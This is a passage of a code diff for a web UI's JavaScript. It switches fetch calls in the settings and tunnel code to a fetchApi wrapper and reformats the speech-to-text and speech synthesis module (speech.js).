- const response = await fetch('/api/settings_save', {
427
+ const response = await fetchApi('/api/settings_save', {
428
method: 'POST',
429
headers: {
430
'Content-Type': 'application/json'
@@ -481,7 +481,7 @@ document.addEventListener('alpine:init', function () {
481
}
482
483
// Send test request
484
- const response = await fetch('/api/test_connection', {
484
+ const response = await fetchApi('/api/test_connection', {
485
method: 'POST',
486
headers: {
487
'Content-Type': 'application/json'
webui/js/speech.js
+410
-390
@@ -1,461 +1,481 @@
1
// import { pipeline, read_audio } from '../transformers@3.0.2.js';
2
-import { updateChatInput, sendMessage } from '../index.js';
2
+import { updateChatInput, sendMessage } from "../index.js";
3
4
-const microphoneButton = document.getElementById('microphone-button');
4
+const microphoneButton = document.getElementById("microphone-button");
5
let microphoneInput = null;
6
let isProcessingClick = false;
7
8
const Status = {
9
- INACTIVE: 'inactive',
10
- ACTIVATING: 'activating',
11
- LISTENING: 'listening',
12
- RECORDING: 'recording',
13
- WAITING: 'waiting',
14
- PROCESSING: 'processing'
9
+ INACTIVE: "inactive",
10
+ ACTIVATING: "activating",
11
+ LISTENING: "listening",
12
+ RECORDING: "recording",
13
+ WAITING: "waiting",
14
+ PROCESSING: "processing",
15
};
16
17
const micSettings = {
18
- stt_model_size: 'tiny',
19
- stt_language: 'en',
20
- stt_silence_threshold: 0.05,
21
- stt_silence_duration: 1000,
22
- stt_waiting_timeout: 2000,
18
+ stt_model_size: "tiny",
19
+ stt_language: "en",
20
+ stt_silence_threshold: 0.05,
21
+ stt_silence_duration: 1000,
22
+ stt_waiting_timeout: 2000,
23
};
24
-window.micSettings = micSettings
25
-loadMicSettings()
24
+window.micSettings = micSettings;
25
+loadMicSettings();
26
27
function densify(x) {
28
- return Math.exp(-5 * (1 - x));
28
+ return Math.exp(-5 * (1 - x));
29
}
30
31
async function loadMicSettings() {
32
- try {
33
- const response = await fetch('/settings_get');
34
- const data = await response.json();
35
- const sttSettings = data.settings.sections.find(s => s.title === 'Speech to Text');
36
-
37
- if (sttSettings) {
38
- // Update options from server settings
39
- sttSettings.fields.forEach(field => {
40
- const key = field.id //.split('.')[1]; // speech_to_text.model_size -> model_size
41
- micSettings[key] = field.value;
42
- });
43
- }
44
- } catch (error) {
45
- window.toastFetchError("Failed to load speech settings", error)
46
- console.error('Failed to load speech settings:', error);
32
+ try {
33
+ const response = await fetchApi("/settings_get", {
34
+ method: "POST",
35
+ });
36
+ const data = await response.json();
37
+ const sttSettings = data.settings.sections.find(
38
+ (s) => s.title === "Speech to Text"
39
+ );
40
+
41
+ if (sttSettings) {
42
+ // Update options from server settings
43
+ sttSettings.fields.forEach((field) => {
44
+ const key = field.id; //.split('.')[1]; // speech_to_text.model_size -> model_size
45
+ micSettings[key] = field.value;
46
+ });
47
}
48
+ } catch (error) {
49
+ window.toastFetchError("Failed to load speech settings", error);
50
+ console.error("Failed to load speech settings:", error);
51
+ }
52
}
53
54
class MicrophoneInput {
51
- constructor(updateCallback, options = {}) {
52
- this.mediaRecorder = null;
53
- this.audioChunks = [];
54
- this.lastChunk = [];
55
- this.updateCallback = updateCallback;
56
- this.messageSent = false;
57
-
58
- // Audio analysis properties
59
- this.audioContext = null;
60
- this.mediaStreamSource = null;
61
- this.analyserNode = null;
62
- this._status = Status.INACTIVE;
63
-
64
- // Timing properties
65
- this.lastAudioTime = null;
66
- this.waitingTimer = null;
67
- this.silenceStartTime = null;
68
- this.hasStartedRecording = false;
69
- this.analysisFrame = null;
55
+ constructor(updateCallback, options = {}) {
56
+ this.mediaRecorder = null;
57
+ this.audioChunks = [];
58
+ this.lastChunk = [];
59
+ this.updateCallback = updateCallback;
60
+ this.messageSent = false;
61
+
62
+ // Audio analysis properties
63
+ this.audioContext = null;
64
+ this.mediaStreamSource = null;
65
+ this.analyserNode = null;
66
+ this._status = Status.INACTIVE;
67
+
68
+ // Timing properties
69
+ this.lastAudioTime = null;
70
+ this.waitingTimer = null;
71
+ this.silenceStartTime = null;
72
+ this.hasStartedRecording = false;
73
+ this.analysisFrame = null;
74
+ }
75
+
76
+ get status() {
77
+ return this._status;
78
+ }
79
+
80
+ set status(newStatus) {
81
+ if (this._status === newStatus) return;
82
+
83
+ const oldStatus = this._status;
84
+ this._status = newStatus;
85
+ console.log(`Mic status changed from ${oldStatus} to ${newStatus}`);
86
+
87
+ // Update UI
88
+ microphoneButton.classList.remove(`mic-${oldStatus.toLowerCase()}`);
89
+ microphoneButton.classList.add(`mic-${newStatus.toLowerCase()}`);
90
+ microphoneButton.setAttribute("data-status", newStatus);
91
+
92
+ // Handle state-specific behaviors
93
+ this.handleStatusChange(oldStatus, newStatus);
94
+ }
95
+
96
+ handleStatusChange(oldStatus, newStatus) {
97
+ //last chunk kept only for transition to recording status
98
+ if (newStatus != Status.RECORDING) {
99
+ this.lastChunk = null;
100
}
101
72
- get status() {
73
- return this._status;
102
+ switch (newStatus) {
103
+ case Status.INACTIVE:
104
+ this.handleInactiveState();
105
+ break;
106
+ case Status.LISTENING:
107
+ this.handleListeningState();
108
+ break;
109
+ case Status.RECORDING:
110
+ this.handleRecordingState();
111
+ break;
112
+ case Status.WAITING:
113
+ this.handleWaitingState();
114
+ break;
115
+ case Status.PROCESSING:
116
+ this.handleProcessingState();
117
+ break;
118
}
75
-
76
- set status(newStatus) {
77
- if (this._status === newStatus) return;
78
-
79
- const oldStatus = this._status;
80
- this._status = newStatus;
81
- console.log(`Mic status changed from ${oldStatus} to ${newStatus}`);
82
-
83
- // Update UI
84
- microphoneButton.classList.remove(`mic-${oldStatus.toLowerCase()}`);
85
- microphoneButton.classList.add(`mic-${newStatus.toLowerCase()}`);
86
- microphoneButton.setAttribute('data-status', newStatus);
87
-
88
- // Handle state-specific behaviors
89
- this.handleStatusChange(oldStatus, newStatus);
119
+ }
120
+
121
+ handleInactiveState() {
122
+ this.stopRecording();
123
+ this.stopAudioAnalysis();
124
+ if (this.waitingTimer) {
125
+ clearTimeout(this.waitingTimer);
126
+ this.waitingTimer = null;
127
}
91
-
92
- handleStatusChange(oldStatus, newStatus) {
93
-
94
- //last chunk kept only for transition to recording status
95
- if (newStatus != Status.RECORDING) { this.lastChunk = null; }
96
-
97
- switch (newStatus) {
98
- case Status.INACTIVE:
99
- this.handleInactiveState();
100
- break;
101
- case Status.LISTENING:
102
- this.handleListeningState();
103
- break;
104
- case Status.RECORDING:
105
- this.handleRecordingState();
106
- break;
107
- case Status.WAITING:
108
- this.handleWaitingState();
109
- break;
110
- case Status.PROCESSING:
111
- this.handleProcessingState();
112
- break;
113
- }
128
+ }
129
+
130
+ handleListeningState() {
131
+ this.stopRecording();
132
+ this.audioChunks = [];
133
+ this.hasStartedRecording = false;
134
+ this.silenceStartTime = null;
135
+ this.lastAudioTime = null;
136
+ this.messageSent = false;
137
+ this.startAudioAnalysis();
138
+ }
139
+
140
+ handleRecordingState() {
141
+ if (!this.hasStartedRecording && this.mediaRecorder.state !== "recording") {
142
+ this.hasStartedRecording = true;
143
+ this.mediaRecorder.start(1000);
144
+ console.log("Speech started");
145
}
115
-
116
- handleInactiveState() {
117
- this.stopRecording();
118
- this.stopAudioAnalysis();
119
- if (this.waitingTimer) {
120
- clearTimeout(this.waitingTimer);
121
- this.waitingTimer = null;
122
- }
146
+ if (this.waitingTimer) {
147
+ clearTimeout(this.waitingTimer);
148
+ this.waitingTimer = null;
149
}
124
-
125
- handleListeningState() {
126
- this.stopRecording();
127
- this.audioChunks = [];
128
- this.hasStartedRecording = false;
129
- this.silenceStartTime = null;
130
- this.lastAudioTime = null;
131
- this.messageSent = false;
132
- this.startAudioAnalysis();
150
+ }
151
+
152
+ handleWaitingState() {
153
+ // Don't stop recording during waiting state
154
+ this.waitingTimer = setTimeout(() => {
155
+ if (this.status === Status.WAITING) {
156
+ this.status = Status.PROCESSING;
157
+ }
158
+ }, micSettings.stt_waiting_timeout);
159
+ }
160
+
161
+ handleProcessingState() {
162
+ this.stopRecording();
163
+ this.process();
164
+ }
165
+
166
+ stopRecording() {
167
+ if (this.mediaRecorder?.state === "recording") {
168
+ this.mediaRecorder.stop();
169
+ this.hasStartedRecording = false;
170
}
171
+ }
172
135
- handleRecordingState() {
136
- if (!this.hasStartedRecording && this.mediaRecorder.state !== 'recording') {
137
- this.hasStartedRecording = true;
138
- this.mediaRecorder.start(1000);
139
- console.log('Speech started');
140
- }
141
- if (this.waitingTimer) {
142
- clearTimeout(this.waitingTimer);
143
- this.waitingTimer = null;
173
+ async initialize() {
174
+ try {
175
+ const stream = await navigator.mediaDevices.getUserMedia({
176
+ audio: {
177
+ echoCancellation: true,
178
+ noiseSuppression: true,
179
+ channelCount: 1,
180
+ },
181
+ });
182
+
183
+ this.mediaRecorder = new MediaRecorder(stream);
184
+ this.mediaRecorder.ondataavailable = (event) => {
185
+ if (
186
+ event.data.size > 0 &&
187
+ (this.status === Status.RECORDING || this.status === Status.WAITING)
188
+ ) {
189
+ if (this.lastChunk) {
190
+ this.audioChunks.push(this.lastChunk);
191
+ this.lastChunk = null;
192
+ }
193
+ this.audioChunks.push(event.data);
194
+ console.log(
195
+ "Audio chunk received, total chunks:",
196
+ this.audioChunks.length
197
+ );
198
+ } else if (this.status === Status.LISTENING) {
199
+ this.lastChunk = event.data;
200
}
145
- }
146
-
147
- handleWaitingState() {
148
- // Don't stop recording during waiting state
149
- this.waitingTimer = setTimeout(() => {
150
- if (this.status === Status.WAITING) {
151
- this.status = Status.PROCESSING;
152
- }
153
- }, micSettings.stt_waiting_timeout);
154
- }
155
-
156
- handleProcessingState() {
157
- this.stopRecording();
158
- this.process();
159
- }
201
+ };
202
161
- stopRecording() {
162
- if (this.mediaRecorder?.state === 'recording') {
163
- this.mediaRecorder.stop();
164
- this.hasStartedRecording = false;
165
- }
203
+ this.setupAudioAnalysis(stream);
204
+ return true;
205
+ } catch (error) {
206
+ console.error("Microphone initialization error:", error);
207
+ toast("Failed to access microphone. Please check permissions.", "error");
208
+ return false;
209
}
210
+ }
211
+
212
+ setupAudioAnalysis(stream) {
213
+ this.audioContext = new (window.AudioContext ||
214
+ window.webkitAudioContext)();
215
+ this.mediaStreamSource = this.audioContext.createMediaStreamSource(stream);
216
+ this.analyserNode = this.audioContext.createAnalyser();
217
+ this.analyserNode.fftSize = 2048;
218
+ this.analyserNode.minDecibels = -90;
219
+ this.analyserNode.maxDecibels = -10;
220
+ this.analyserNode.smoothingTimeConstant = 0.85;
221
+ this.mediaStreamSource.connect(this.analyserNode);
222
+ }
223
+
224
+ startAudioAnalysis() {
225
+ const analyzeFrame = () => {
226
+ if (this.status === Status.INACTIVE) return;
227
+
228
+ const dataArray = new Uint8Array(this.analyserNode.fftSize);
229
+ this.analyserNode.getByteTimeDomainData(dataArray);
230
+
231
+ // Calculate RMS volume
232
+ let sum = 0;
233
+ for (let i = 0; i < dataArray.length; i++) {
234
+ const amplitude = (dataArray[i] - 128) / 128;
235
+ sum += amplitude * amplitude;
236
+ }
237
+ const rms = Math.sqrt(sum / dataArray.length);
238
+
239
+ const now = Date.now();
240
+
241
+ // Update status based on audio level
242
+ if (rms > densify(micSettings.stt_silence_threshold)) {
243
+ this.lastAudioTime = now;
244
+ this.silenceStartTime = null;
245
168
- async initialize() {
169
- try {
170
- const stream = await navigator.mediaDevices.getUserMedia({
171
- audio: {
172
- echoCancellation: true,
173
- noiseSuppression: true,
174
- channelCount: 1
175
- }
176
- });
177
-
178
- this.mediaRecorder = new MediaRecorder(stream);
179
- this.mediaRecorder.ondataavailable = (event) => {
180
- if (event.data.size > 0 &&
181
- (this.status === Status.RECORDING || this.status === Status.WAITING)) {
182
- if (this.lastChunk) {
183
- this.audioChunks.push(this.lastChunk);
184
- this.lastChunk = null;
185
- }
186
- this.audioChunks.push(event.data);
187
- console.log('Audio chunk received, total chunks:', this.audioChunks.length);
188
- }
189
- else if (this.status === Status.LISTENING) {
190
- this.lastChunk = event.data;
191
- }
192
- };
193
-
194
- this.setupAudioAnalysis(stream);
195
- return true;
196
- } catch (error) {
197
-
198
- console.error('Microphone initialization error:', error);
199
- toast('Failed to access microphone. Please check permissions.', 'error');
200
- return false;
246
+ if (
247
+ this.status === Status.LISTENING ||
248
+ this.status === Status.WAITING
249
+ ) {
250
+ if (!speech.isSpeaking())
251
+ // TODO? a better way to ignore agent's voice?
252
+ this.status = Status.RECORDING;
253
}
202
- }
203
-
204
- setupAudioAnalysis(stream) {
205
- this.audioContext = new (window.AudioContext || window.webkitAudioContext)();
206
- this.mediaStreamSource = this.audioContext.createMediaStreamSource(stream);
207
- this.analyserNode = this.audioContext.createAnalyser();
208
- this.analyserNode.fftSize = 2048;
209
- this.analyserNode.minDecibels = -90;
210
- this.analyserNode.maxDecibels = -10;
211
- this.analyserNode.smoothingTimeConstant = 0.85;
212
- this.mediaStreamSource.connect(this.analyserNode);
213
- }
214
-
215
- startAudioAnalysis() {
216
- const analyzeFrame = () => {
217
- if (this.status === Status.INACTIVE) return;
218
-
219
- const dataArray = new Uint8Array(this.analyserNode.fftSize);
220
- this.analyserNode.getByteTimeDomainData(dataArray);
221
-
222
- // Calculate RMS volume
223
- let sum = 0;
224
- for (let i = 0; i < dataArray.length; i++) {
225
- const amplitude = (dataArray[i] - 128) / 128;
226
- sum += amplitude * amplitude;
227
- }
228
- const rms = Math.sqrt(sum / dataArray.length);
229
-
230
- const now = Date.now();
231
-
232
- // Update status based on audio level
233
- if (rms > densify(micSettings.stt_silence_threshold)) {
234
- this.lastAudioTime = now;
235
- this.silenceStartTime = null;
236
-
237
- if (this.status === Status.LISTENING || this.status === Status.WAITING) {
238
- if (!speech.isSpeaking()) // TODO? a better way to ignore agent's voice?
239
- this.status = Status.RECORDING;
240
- }
241
- } else if (this.status === Status.RECORDING) {
242
- if (!this.silenceStartTime) {
243
- this.silenceStartTime = now;
244
- }
245
-
246
- const silenceDuration = now - this.silenceStartTime;
247
- if (silenceDuration >= micSettings.stt_silence_duration) {
248
- this.status = Status.WAITING;
249
- }
250
- }
251
-
252
- this.analysisFrame = requestAnimationFrame(analyzeFrame);
253
- };
254
-
255
- this.analysisFrame = requestAnimationFrame(analyzeFrame);
256
- }
257
-
258
- stopAudioAnalysis() {
259
- if (this.analysisFrame) {
260
- cancelAnimationFrame(this.analysisFrame);
261
- this.analysisFrame = null;
254
+ } else if (this.status === Status.RECORDING) {
255
+ if (!this.silenceStartTime) {
256
+ this.silenceStartTime = now;
257
}
263
- }
258
265
- async process() {
266
- if (this.audioChunks.length === 0) {
267
- this.status = Status.LISTENING;
268
- return;
259
+ const silenceDuration = now - this.silenceStartTime;
260
+ if (silenceDuration >= micSettings.stt_silence_duration) {
261
+ this.status = Status.WAITING;
262
}
263
+ }
264
271
- const audioBlob = new Blob(this.audioChunks, { type: 'audio/wav' });
272
- const base64 = await this.convertBlobToBase64Wav(audioBlob)
273
-
274
- try {
265
+ this.analysisFrame = requestAnimationFrame(analyzeFrame);
266
+ };
267
276
- const result = await sendJsonData('/transcribe', { audio: base64 })
268
+ this.analysisFrame = requestAnimationFrame(analyzeFrame);
269
+ }
270
271
+ stopAudioAnalysis() {
272
+ if (this.analysisFrame) {
273
+ cancelAnimationFrame(this.analysisFrame);
274
+ this.analysisFrame = null;
275
+ }
276
+ }
277
279
- const text = this.filterResult(result.text || "")
280
-
281
- if (text) {
282
- console.log('Transcription:', result.text);
283
- await this.updateCallback(result.text, true);
284
- }
285
- } catch (error) {
286
- window.toastFetchError("Transcription error", error)
287
- console.error('Transcription error:', error);
288
- } finally {
289
- this.audioChunks = [];
290
- this.status = Status.LISTENING;
291
- }
278
+ async process() {
279
+ if (this.audioChunks.length === 0) {
280
+ this.status = Status.LISTENING;
281
+ return;
282
}
283
294
- convertBlobToBase64Wav(audioBlob) {
295
- return new Promise((resolve, reject) => {
296
- const reader = new FileReader();
284
+ const audioBlob = new Blob(this.audioChunks, { type: "audio/wav" });
285
+ const base64 = await this.convertBlobToBase64Wav(audioBlob);
286
298
- // Read the Blob as a Data URL
299
- reader.onloadend = () => {
300
- const base64Data = reader.result.split(",")[1]; // Extract Base64 data
301
- resolve(base64Data);
302
- };
287
+ try {
288
+ const result = await sendJsonData("/transcribe", { audio: base64 });
289
304
- reader.onerror = (error) => {
305
- reject(error);
306
- };
290
+ const text = this.filterResult(result.text || "");
291
308
- reader.readAsDataURL(audioBlob); // Start reading the Blob
309
- });
292
+ if (text) {
293
+ console.log("Transcription:", result.text);
294
+ await this.updateCallback(result.text, true);
295
+ }
296
+ } catch (error) {
297
+ window.toastFetchError("Transcription error", error);
298
+ console.error("Transcription error:", error);
299
+ } finally {
300
+ this.audioChunks = [];
301
+ this.status = Status.LISTENING;
302
}
311
-
312
- filterResult(text) {
313
- text = text.trim()
314
- let ok = false
315
- while (!ok) {
316
- if (!text) break
317
- if (text[0] === '{' && text[text.length - 1] === '}') break
318
- if (text[0] === '(' && text[text.length - 1] === ')') break
319
- if (text[0] === '[' && text[text.length - 1] === ']') break
320
- ok = true
321
- }
322
- if (ok) return text
323
- else console.log(`Discarding transcription: ${text}`)
303
+ }
304
+
305
+ convertBlobToBase64Wav(audioBlob) {
306
+ return new Promise((resolve, reject) => {
307
+ const reader = new FileReader();
308
+
309
+ // Read the Blob as a Data URL
310
+ reader.onloadend = () => {
311
+ const base64Data = reader.result.split(",")[1]; // Extract Base64 data
312
+ resolve(base64Data);
313
+ };
314
+
315
+ reader.onerror = (error) => {
316
+ reject(error);
317
+ };
318
+
319
+ reader.readAsDataURL(audioBlob); // Start reading the Blob
320
+ });
321
+ }
322
+
323
+ filterResult(text) {
324
+ text = text.trim();
325
+ let ok = false;
326
+ while (!ok) {
327
+ if (!text) break;
328
+ if (text[0] === "{" && text[text.length - 1] === "}") break;
329
+ if (text[0] === "(" && text[text.length - 1] === ")") break;
330
+ if (text[0] === "[" && text[text.length - 1] === "]") break;
331
+ ok = true;
332
}
333
+ if (ok) return text;
334
+ else console.log(`Discarding transcription: ${text}`);
335
+ }
336
}
337
327
-
328
-
338
// Initialize and handle click events
339
async function initializeMicrophoneInput() {
331
- window.microphoneInput = microphoneInput = new MicrophoneInput(
332
- async (text, isFinal) => {
333
- if (isFinal) {
334
- updateChatInput(text);
335
- if (!microphoneInput.messageSent) {
336
- microphoneInput.messageSent = true;
337
- await sendMessage();
338
- }
339
- }
340
+ window.microphoneInput = microphoneInput = new MicrophoneInput(
341
+ async (text, isFinal) => {
342
+ if (isFinal) {
343
+ updateChatInput(text);
344
+ if (!microphoneInput.messageSent) {
345
+ microphoneInput.messageSent = true;
346
+ await sendMessage();
347
}
341
- );
342
- microphoneInput.status = Status.ACTIVATING;
348
+ }
349
+ }
350
+ );
351
+ microphoneInput.status = Status.ACTIVATING;
352
344
- return await microphoneInput.initialize();
353
+ return await microphoneInput.initialize();
354
}
355
347
-microphoneButton.addEventListener('click', async () => {
348
- if (isProcessingClick) return;
349
- isProcessingClick = true;
356
+microphoneButton.addEventListener("click", async () => {
357
+ if (isProcessingClick) return;
358
+ isProcessingClick = true;
359
351
- const hasPermission = await requestMicrophonePermission();
352
- if (!hasPermission) return;
360
+ const hasPermission = await requestMicrophonePermission();
361
+ if (!hasPermission) return;
362
354
- try {
355
- if (!microphoneInput && !await initializeMicrophoneInput()) {
356
- return;
357
- }
358
-
359
- // Simply toggle between INACTIVE and LISTENING states
360
- microphoneInput.status =
361
- (microphoneInput.status === Status.INACTIVE || microphoneInput.status === Status.ACTIVATING) ? Status.LISTENING : Status.INACTIVE;
362
- } finally {
363
- setTimeout(() => {
364
- isProcessingClick = false;
365
- }, 300);
363
+ try {
364
+ if (!microphoneInput && !(await initializeMicrophoneInput())) {
365
+ return;
366
}
367
+
368
+ // Simply toggle between INACTIVE and LISTENING states
369
+ microphoneInput.status =
370
+ microphoneInput.status === Status.INACTIVE ||
371
+ microphoneInput.status === Status.ACTIVATING
372
+ ? Status.LISTENING
373
+ : Status.INACTIVE;
374
+ } finally {
375
+ setTimeout(() => {
376
+ isProcessingClick = false;
377
+ }, 300);
378
+ }
379
});
380
381
// Some error handling for microphone input
382
async function requestMicrophonePermission() {
371
- try {
372
- await navigator.mediaDevices.getUserMedia({ audio: true });
373
- return true;
374
- } catch (err) {
375
- console.error('Error accessing microphone:', err);
376
- toast('Microphone access denied. Please enable microphone access in your browser settings.', 'error');
377
- return false;
378
- }
383
+ try {
384
+ await navigator.mediaDevices.getUserMedia({ audio: true });
385
+ return true;
386
+ } catch (err) {
387
+ console.error("Error accessing microphone:", err);
388
+ toast(
389
+ "Microphone access denied. Please enable microphone access in your browser settings.",
390
+ "error"
391
+ );
392
+ return false;
393
+ }
394
}
395
381
-
396
class Speech {
383
- constructor() {
384
- this.synth = window.speechSynthesis;
385
- this.utterance = null;
386
- }
387
-
388
- stripEmojis(str) {
389
- return str
390
- .replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, '')
391
- .replace(/\s+/g, ' ')
392
- .trim();
393
- }
394
-
395
- speak(text) {
396
- console.log('Speaking:', text);
397
- // Stop any current utterance
398
- this.stop();
399
-
400
- // Remove emojis and create a new utterance
401
- text = this.stripEmojis(text);
402
- text = this.replaceURLs(text);
403
- text = this.replaceGuids(text);
404
- this.utterance = new SpeechSynthesisUtterance(text);
405
-
406
- // Speak the new utterance
407
- this.synth.speak(this.utterance);
408
- }
409
-
410
- replaceURLs(text) {
411
- const urlRegex = /(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b(www\.)[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b[-A-Z0-9+&@#\/%?=~_|!:,.;]*\.(?:[A-Z]{2,})[-A-Z0-9+&@#\/%?=~_|])/ig; return text.replace(urlRegex, (url) => {
412
- let text = url
413
- // if contains ://, split by it
414
- if (text.includes('://')) text = text.split('://')[1];
415
- // if contains /, split by it
416
- if (text.includes('/')) text = text.split('/')[0];
417
-
418
- // if contains ., split by it
419
- if (text.includes('.')) {
420
- const doms = text.split('.')
421
- //up to last two
422
- return doms[doms.length - 2] + '.' + doms[doms.length - 1]
423
- } else {
424
- return text
425
- }
426
- });
397
+ constructor() {
398
+ this.synth = window.speechSynthesis;
399
+ this.utterance = null;
400
+ }
401
+
402
+ stripEmojis(str) {
403
+ return str
404
+ .replace(
405
+ /([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g,
406
+ ""
407
+ )
408
+ .replace(/\s+/g, " ")
409
+ .trim();
410
+ }
411
+
412
+ speak(text) {
413
+ console.log("Speaking:", text);
414
+ // Stop any current utterance
415
+ this.stop();
416
+
417
+ // Remove emojis and create a new utterance
418
+ text = this.stripEmojis(text);
419
+ text = this.replaceURLs(text);
420
+ text = this.replaceGuids(text);
421
+ this.utterance = new SpeechSynthesisUtterance(text);
422
+
423
+ // Speak the new utterance
424
+ this.synth.speak(this.utterance);
425
+ }
426
+
427
+ replaceURLs(text) {
428
+ const urlRegex =
429
+ /(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b(www\.)[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b[-A-Z0-9+&@#\/%?=~_|!:,.;]*\.(?:[A-Z]{2,})[-A-Z0-9+&@#\/%?=~_|])/gi;
430
+ return text.replace(urlRegex, (url) => {
431
+ let text = url;
432
+ // if contains ://, split by it
433
+ if (text.includes("://")) text = text.split("://")[1];
434
+ // if contains /, split by it
435
+ if (text.includes("/")) text = text.split("/")[0];
436
+
437
+ // if contains ., split by it
438
+ if (text.includes(".")) {
439
+ const doms = text.split(".");
440
+ //up to last two
441
+ return doms[doms.length - 2] + "." + doms[doms.length - 1];
442
+ } else {
443
+ return text;
444
+ }
445
+ });
446
+ }
447
+
448
+ replaceGuids(text) {
449
+ const guidRegex =
450
+ /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/g;
451
+ return text.replace(guidRegex, "");
452
+ }
453
+
454
+ replaceNonText(text) {
455
+ const nonTextRegex = /\w[^\w\s]*\w(?=\s|$)|[^\w\s]+/g;
456
+ text = text.replace(nonTextRegex, (match) => {
457
+ return ``;
458
+ });
459
+ const longStringRegex = /\S{25,}/g;
460
+ text = text.replace(longStringRegex, (match) => {
461
+ return ``;
462
+ });
463
+ return text;
464
+ }
465
+
466
+ stop() {
467
+ if (this.isSpeaking()) {
468
+ this.synth.cancel();
469
}
470
+ }
471
429
- replaceGuids(text) {
430
- const guidRegex = /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/g;
431
- return text.replace(guidRegex, '');
432
- }
433
-
434
- replaceNonText(text) {
435
- const nonTextRegex = /\w[^\w\s]*\w(?=\s|$)|[^\w\s]+/g;
436
- text = text.replace(nonTextRegex, (match) => {
437
- return ``;
438
- });
439
- const longStringRegex = /\S{25,}/g;
440
- text = text.replace(longStringRegex, (match) => {
441
- return ``;
442
- });
443
- return text
444
- }
445
-
446
- stop() {
447
- if (this.isSpeaking()) {
448
- this.synth.cancel();
449
- }
450
- }
451
-
452
- isSpeaking() {
453
- return this.synth?.speaking || false;
454
- }
472
+ isSpeaking() {
473
+ return this.synth?.speaking || false;
474
+ }
475
}
476
477
export const speech = new Speech();
458
-window.speech = speech
478
+window.speech = speech;
479
480
// Add event listener for settings changes
461
-document.addEventListener('settings-updated', loadMicSettings);
\ No newline at end of file
481
+document.addEventListener("settings-updated", loadMicSettings);
webui/js/tunnel.js
+7
-7
@@ -12,7 +12,7 @@ document.addEventListener('alpine:init', () => {
12
13
async checkTunnelStatus() {
14
try {
15
- const response = await fetch('/tunnel_proxy', {
15
+ const response = await fetchApi('/tunnel_proxy', {
16
method: 'POST',
17
headers: {
18
'Content-Type': 'application/json',
@@ -35,7 +35,7 @@ document.addEventListener('alpine:init', () => {
35
36
if (storedTunnelUrl) {
37
// Use the stored URL but verify it's still valid
38
- const verifyResponse = await fetch('/tunnel_proxy', {
38
+ const verifyResponse = await fetchApi('/tunnel_proxy', {
39
method: 'POST',
40
headers: {
41
'Content-Type': 'application/json',
@@ -82,7 +82,7 @@ document.addEventListener('alpine:init', () => {
82
83
try {
84
// First stop any existing tunnel
85
- const stopResponse = await fetch('/tunnel_proxy', {
85
+ const stopResponse = await fetchApi('/tunnel_proxy', {
86
method: 'POST',
87
headers: {
88
'Content-Type': 'application/json',
@@ -116,7 +116,7 @@ document.addEventListener('alpine:init', () => {
116
async generateLink() {
117
// First check if authentication is enabled
118
try {
119
- const authCheckResponse = await fetch('/settings_get');
119
+ const authCheckResponse = await fetchApi('/settings_get');
120
const authData = await authCheckResponse.json();
121
122
// Find the auth_login and auth_password in the settings
@@ -175,7 +175,7 @@ document.addEventListener('alpine:init', () => {
175
176
try {
177
// Call the backend API to create a tunnel
178
- const response = await fetch('/tunnel_proxy', {
178
+ const response = await fetchApi('/tunnel_proxy', {
179
method: 'POST',
180
headers: {
181
'Content-Type': 'application/json',
@@ -207,7 +207,7 @@ document.addEventListener('alpine:init', () => {
207
208
// Check if tunnel is running now
209
try {
210
- const statusResponse = await fetch('/tunnel_proxy', {
210
+ const statusResponse = await fetchApi('/tunnel_proxy', {
211
method: 'POST',
212
headers: {
213
'Content-Type': 'application/json',
@@ -259,7 +259,7 @@ document.addEventListener('alpine:init', () => {
259
260
try {
261
// Call the backend to stop the tunnel
262
- const response = await fetch('/tunnel_proxy', {
262
+ const response = await fetchApi('/tunnel_proxy', {
263
method: 'POST',
264
headers: {
265
'Content-Type': 'application/json',